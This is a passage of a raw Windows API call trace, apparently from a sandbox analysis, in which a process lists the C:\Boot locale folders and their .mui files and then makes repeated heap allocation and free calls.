ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.928] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0100.928] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5ed6c6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf300233f, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa798, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0100.928] FindClose (in: hFindFile=0x3e50600 | out: hFindFile=0x3e50600) returned 1 [0100.929] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.929] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0100.929] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.929] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0100.930] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.930] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211c6af1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x10560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.930] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0100.930] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fdc0d7, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0100.930] FindClose (in: hFindFile=0x3e50840 | out: hFindFile=0x3e50840) returned 1 [0100.930] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.930] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0100.930] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.930] FindFirstFileW (in: lpFileName="C:\\Boot\\lt-LT\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50400 [0100.931] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.931] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.931] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0100.931] FindClose (in: hFindFile=0x3e50400 | out: hFindFile=0x3e50400) returned 1 [0100.931] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.931] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0100.931] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.931] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50600 [0100.932] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.932] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.932] FindNextFileW (in: hFindFile=0x3e50600, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0100.932] FindClose (in: hFindFile=0x3e50600 | out: hFindFile=0x3e50600) returned 1 [0100.932] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.933] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0100.933] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0100.933] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.933] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e501c0 [0100.934] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.934] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.934] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0100.934] FindNextFileW (in: hFindFile=0x3e501c0, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0100.934] FindClose (in: hFindFile=0x3e501c0 | out: hFindFile=0x3e501c0) returned 1 [0100.934] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.934] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0100.934] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.935] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0100.935] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.935] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.935] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0100.935] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0100.935] FindClose (in: hFindFile=0x3e50840 | out: hFindFile=0x3e50840) returned 1 [0100.935] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.935] FindNextFileW (in: hFindFile=0x3e50080, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0100.935] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.936] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50840 [0100.936] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.936] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0100.938] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0100.938] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0100.943] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.507] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.507] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.507] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73f20 | out: hHeap=0x4b0000) returned 1 [0101.507] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.507] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.507] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.508] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.508] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.508] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.508] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.508] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.508] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.508] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.508] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.509] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.509] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0101.509] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3820940 | out: hHeap=0x4b0000) returned 1 [0101.510] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3820940 | out: hHeap=0x4b0000) returned 1 [0101.511] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3820940 | out: hHeap=0x4b0000) returned 1 [0104.289] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x50ed48, Size=0x4000) returned 0x513428 [0104.296] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3820940 | out: hHeap=0x4b0000) returned 1 [0104.303] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3820940 | out: hHeap=0x4b0000) returned 1 [0104.307] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x513428, Size=0x8000) returned 0x38d1278 [0104.307] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0104.317] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0104.419] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0104.419] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0104.419] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0104.419] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0104.454] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0104.454] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0104.454] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0104.487] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0104.489] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0104.489] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | 